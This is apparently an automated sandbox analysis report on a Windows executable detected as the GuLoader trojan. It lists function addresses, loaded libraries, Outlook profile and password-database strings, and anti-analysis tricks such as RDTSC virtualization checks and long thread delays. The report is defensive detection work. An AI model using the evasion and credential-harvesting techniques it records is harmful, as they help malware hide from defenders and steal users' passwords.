Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D196B8	7_2_37D196B8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D15650	7_2_37D15650
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D18640	7_2_37D18640
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D15660	7_2_37D15660
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D12E10	7_2_37D12E10
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D14DB0	7_2_37D14DB0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D14DA0	7_2_37D14DA0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D12550	7_2_37D12550
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D12560	7_2_37D12560
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D19D00	7_2_37D19D00
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D174C8	7_2_37D174C8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D11CB0	7_2_37D11CB0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D174B8	7_2_37D174B8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D11CA0	7_2_37D11CA0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D16C18	7_2_37D16C18
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D16C09	7_2_37D16C09
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D143C8	7_2_37D143C8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D143B9	7_2_37D143B9
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D1A352	7_2_37D1A352
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D16358	7_2_37D16358
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D17B4F	7_2_37D17B4F
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D16368	7_2_37D16368
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D13B18	7_2_37D13B18
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D13B08	7_2_37D13B08
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D15AB8	7_2_37D15AB8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D15AA8	7_2_37D15AA8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D13268	7_2_37D13268
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D15207	7_2_37D15207
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D15208	7_2_37D15208
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D129B8	7_2_37D129B8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D1A9A0	7_2_37D1A9A0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D129A8	7_2_37D129A8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D12108	7_2_37D12108
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D1F130	7_2_37D1F130
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D11858	7_2_37D11858
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D10040	7_2_37D10040
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D17070	7_2_37D17070
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D17061	7_2_37D17061
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D14810	7_2_37D14810
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_37D14820	7_2_37D14820
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_38246FA0	7_2_38246FA0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_3824D608	7_2_3824D608
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_3824E7C8	7_2_3824E7C8
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_38248328	7_2_38248328

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Code function: String function: 00402C41 appears 51 times

Source: V7OHj6ISEo.exe, 00000001.00000000.1288162185.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs V7OHj6ISEo.exe
Source: V7OHj6ISEo.exe, 00000007.00000002.2542671564.000000000494A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs V7OHj6ISEo.exe
Source: V7OHj6ISEo.exe, 00000007.00000002.2562691852.0000000034DF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs V7OHj6ISEo.exe
Source: V7OHj6ISEo.exe, 00000007.00000002.2539243957.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs V7OHj6ISEo.exe
Source: V7OHj6ISEo.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs V7OHj6ISEo.exe

Source: V7OHj6ISEo.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 1_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		1_2_004034A5
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		7_2_004034A5

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Code function: 1_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

1_2_00404850

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Code function: 1_2_00402104 CoCreateInstance,

1_2_00402104

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

File created: C:\Users\user~1\AppData\Local\Temp\nswEC8A.tmp

Jump to behavior

Source: V7OHj6ISEo.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: V7OHj6ISEo.exe, 00000007.00000002.2564613486.000000003611D000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035208000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.00000000351E5000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.00000000351D5000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.00000000351F3000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035214000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: V7OHj6ISEo.exe	Virustotal: Detection: 76%
Source: V7OHj6ISEo.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

File read: C:\Users\user\Desktop\V7OHj6ISEo.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\V7OHj6ISEo.exe "C:\Users\user\Desktop\V7OHj6ISEo.exe"
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process created: C:\Users\user\Desktop\V7OHj6ISEo.exe "C:\Users\user\Desktop\V7OHj6ISEo.exe"
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process created: C:\Users\user\Desktop\V7OHj6ISEo.exe "C:\Users\user\Desktop\V7OHj6ISEo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: V7OHj6ISEo.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000001.00000002.1838395220.0000000005033000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Code function: 1_2_75561B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_75561B5F

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

File created: C:\Users\user\AppData\Local\Temp\nscEDE4.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	API/Special instruction interceptor: Address: 59619F0
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	API/Special instruction interceptor: Address: 3F019F0

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	RDTSC instruction interceptor: First address: 592B615 second address: 592B615 instructions: 0x00000000 rdtsc 0x00000002 cmp dl, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F47E8B99E15h 0x00000008 test cx, dx 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	RDTSC instruction interceptor: First address: 3ECB615 second address: 3ECB615 instructions: 0x00000000 rdtsc 0x00000002 cmp dl, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F47E93328C5h 0x00000008 test cx, dx 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Memory allocated: 350F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Memory allocated: 34C40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599886	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598843	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598157	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597920	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597804	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597200	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597092	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596960	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596813	Jump to behavior
